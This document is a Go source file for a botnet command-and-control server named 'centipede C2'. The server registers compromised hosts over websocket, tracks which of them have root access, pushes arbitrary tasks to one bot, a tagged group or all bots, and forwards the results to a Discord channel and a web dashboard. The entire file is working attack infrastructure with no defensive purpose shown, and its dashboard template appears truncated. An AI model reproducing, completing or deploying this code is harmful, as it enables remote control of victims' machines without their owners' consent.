package main
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"flag"
"fmt"
"html/template"
"io"
"log"
"net/http"
"os"
"os/signal"
"sync"
"syscall"
"time"
"github.com/bwmarrin/discordgo"
"github.com/gorilla/mux"
"github.com/gorilla/websocket"
)
type Bot struct {
ID string `json:"id"`
Hostname string `json:"hostname"`
IP string `json:"ip"`
OS string `json:"os"`
Arch string `json:"arch"`
Kernel string `json:"kernel"`
FirstSeen time.Time `json:"first_seen"`
LastSeen time.Time `json:"last_seen"`
Layer int `json:"c2_layer"`
Tag string `json:"tag"`
Privilege string `json:"privilege"`
Connected bool `json:"connected"`
Pending int `json:"pending_tasks"`
}
type Command struct {
ID string `json:"id"`
BotID string `json:"bot_id"`
Action string `json:"action"`
Args string `json:"args"`
Status string `json:"status"`
Result string `json:"result"`
CreatedAt time.Time `json:"created_at"`
Target string `json:"target"`
}
type C2Server struct {
mu sync.RWMutex
bots map[string]*Bot
commands map[string]*Command
wsClients map[string]*websocket.Conn
upgrader websocket.Upgrader
discordSession *discordgo.Session
discordChanID string
}
func NewC2Server() *C2Server {
return &C2Server{
bots: make(map[string]*Bot),
commands: make(map[string]*Command),
wsClients: make(map[string]*websocket.Conn),
upgrader: websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
},
}
}
func main() {
var (
addr = flag.String("addr", ":8443", "Listen address")
discordTok = flag.String("discord-token", "", "Discord bot token")
discordChan = flag.String("discord-channel", "", "Discord channel ID")
certFile = flag.String("cert", "", "TLS cert file")
keyFile = flag.String("key", "", "TLS key file")
)
flag.Parse()
log.SetFlags(log.LstdFlags | log.Lshortfile)
srv := NewC2Server()
if *discordTok != "" && *discordChan != "" {
go srv.startDiscord(*discordTok, *discordChan)
}
r := mux.NewRouter()
api := r.PathPrefix("/api").Subrouter()
api.HandleFunc("/bots", srv.handleBots).Methods("GET")
api.HandleFunc("/bots/{id}", srv.handleBotDetail).Methods("GET")
api.HandleFunc("/bots/{id}/tag", srv.handleTagBot).Methods("POST")
api.HandleFunc("/command", srv.handleSendCommand).Methods("POST")
api.HandleFunc("/commands", srv.handleCommands).Methods("GET")
api.HandleFunc("/stats", srv.handleStats).Methods("GET")
r.HandleFunc("/ws", srv.handleWebSocket)
r.HandleFunc("/ws/bot", srv.handleBotWS)
r.HandleFunc("/", srv.handleDashboard)
r.PathPrefix("/static/").Handler(
http.StripPrefix("/static/",
http.FileServer(http.Dir("web/static"))))
httpSrv := &http.Server{
Addr: *addr,
Handler: r,
}
go func() {
if *certFile != "" && *keyFile != "" {
log.Printf("[c2d] listening on https://%s", *addr)
log.Fatal(httpSrv.ListenAndServeTLS(*certFile, *keyFile))
} else {
log.Printf("[c2d] listening on http://%s", *addr)
log.Fatal(httpSrv.ListenAndServe())
}
}()
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
<-sigCh
}
func (s *C2Server) handleDashboard(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
tmpl := template.Must(template.New("dashboard").Parse(dashboardHTML))
tmpl.Execute(w, s.getStats())
}
func (s *C2Server) handleBots(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
defer s.mu.RUnlock()
list := make([]*Bot, 0, len(s.bots))
for _, b := range s.bots {
list = append(list, b)
}
writeJSON(w, list)
}
func (s *C2Server) handleBotDetail(w http.ResponseWriter, r *http.Request) {
vars := mux.Vars(r)
s.mu.RLock()
bot, ok := s.bots[vars["id"]]
s.mu.RUnlock()
if !ok {
http.Error(w, "not found", http.StatusNotFound)
return
}
writeJSON(w, bot)
}
func (s *C2Server) handleTagBot(w http.ResponseWriter, r *http.Request) {
vars := mux.Vars(r)
var req struct{ Tag string `json:"tag"` }
json.NewDecoder(r.Body).Decode(&req)
s.mu.Lock()
if bot, ok := s.bots[vars["id"]]; ok {
bot.Tag = req.Tag
}
s.mu.Unlock()
writeJSON(w, map[string]string{"status": "ok"})
}
func (s *C2Server) handleSendCommand(w http.ResponseWriter, r *http.Request) {
var req struct {
BotID string `json:"bot_id"`
Tag string `json:"tag"`
Action string `json:"action"`
Args string `json:"args"`
}
json.NewDecoder(r.Body).Decode(&req)
cmdID := genID()
cmd := &Command{
ID: cmdID,
BotID: req.BotID,
Action: req.Action,
Args: req.Args,
Status: "pending",
CreatedAt: time.Now(),
}
s.mu.Lock()
s.commands[cmdID] = cmd
if req.Tag != "" {
for _, bot := range s.bots {
if bot.Tag == req.Tag {
s.sendToBot(bot.ID, cmd)
}
}
} else if req.BotID == "" {
for _, bot := range s.bots {
s.sendToBot(bot.ID, cmd)
}
} else {
s.sendToBot(req.BotID, cmd)
}
s.mu.Unlock()
writeJSON(w, cmd)
}
func (s *C2Server) sendToBot(botID string, cmd *Command) {
s.mu.RLock()
conn, ok := s.wsClients[botID]
s.mu.RUnlock()
if !ok {
return
}
conn.WriteJSON(map[string]interface{}{
"t": "task",
"id": cmd.ID,
"act": cmd.Action,
"args": cmd.Args,
})
}
func (s *C2Server) handleCommands(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
defer s.mu.RUnlock()
list := make([]*Command, 0, len(s.commands))
for _, c := range s.commands {
list = append(list, c)
}
writeJSON(w, list)
}
func (s *C2Server) handleStats(w http.ResponseWriter, r *http.Request) {
writeJSON(w, s.getStats())
}
func (s *C2Server) getStats() map[string]interface{} {
s.mu.RLock()
defer s.mu.RUnlock()
connected := 0
root := 0
for _, b := range s.bots {
if b.Connected {
connected++
}
if b.Privilege == "root" {
root++
}
}
return map[string]interface{}{
"total_bots": len(s.bots),
"connected": connected,
"root_bots": root,
"pending_cmds": len(s.commands),
"version": "0.1.0",
}
}
func (s *C2Server) handleWebSocket(w http.ResponseWriter, r *http.Request) {
conn, err := s.upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
defer conn.Close()
for {
_, _, err := conn.ReadMessage()
if err != nil {
break
}
}
}
func (s *C2Server) handleBotWS(w http.ResponseWriter, r *http.Request) {
conn, err := s.upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
var botID string
for {
var msg map[string]interface{}
if err := conn.ReadJSON(&msg); err != nil {
break
}
msgType, _ := msg["t"].(string)
botID, _ = msg["bid"].(string)
switch msgType {
case "register":
hostname, _ := msg["hostname"].(string)
bot := &Bot{
ID: botID,
Hostname: hostname,
FirstSeen: time.Now(),
LastSeen: time.Now(),
Connected: true,
}
s.mu.Lock()
s.wsClients[botID] = conn
s.bots[botID] = bot
s.mu.Unlock()
case "result":
taskID, _ := msg["tid"].(string)
ok, _ := msg["ok"].(bool)
output, _ := msg["out"].(string)
s.mu.Lock()
if cmd, exists := s.commands[taskID]; exists {
cmd.Status = "completed"
cmd.Result = output
if !ok {
cmd.Status = "failed"
}
}
s.mu.Unlock()
if s.discordSession != nil {
content := fmt.Sprintf("```\n[%s] %s\n%s\n```", taskID, botID, output)
s.discordSession.ChannelMessageSend(s.discordChanID, content)
}
case "ping":
s.mu.Lock()
if bot, ok := s.bots[botID]; ok {
bot.LastSeen = time.Now()
bot.Connected = true
}
s.mu.Unlock()
conn.WriteJSON(map[string]string{"t": "pong"})
}
}
s.mu.Lock()
if bot, ok := s.bots[botID]; ok {
bot.Connected = false
}
delete(s.wsClients, botID)
s.mu.Unlock()
}
func (s *C2Server) startDiscord(token, channelID string) {
sess, err := discordgo.New("Bot " + token)
if err != nil {
log.Printf("[c2d] discord: %v", err)
return
}
s.discordChanID = channelID
sess.AddHandler(func(s *discordgo.Session, m *discordgo.MessageCreate) {
if m.ChannelID != channelID || m.Author.ID == s.State.User.ID {
return
}
})
intents := discordgo.IntentGuildMessages | discordgo.IntentMessageContent
sess.Identify.Intents = intents
if err := sess.Open(); err != nil {
log.Printf("[c2d] discord open: %v", err)
return
}
sess.ChannelMessageSend(channelID, "**centipede C2 online**")
s.discordSession = sess
}
func writeJSON(w http.ResponseWriter, v interface{}) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(v)
}
func genID() string {
b := make([]byte, 12)
io.ReadFull(rand.Reader, b)
return hex.EncodeToString(b)
}
const dashboardHTML = `
centipede C2
| ID | Hostname | Status | Privilege | Tag | Command |
|---|
`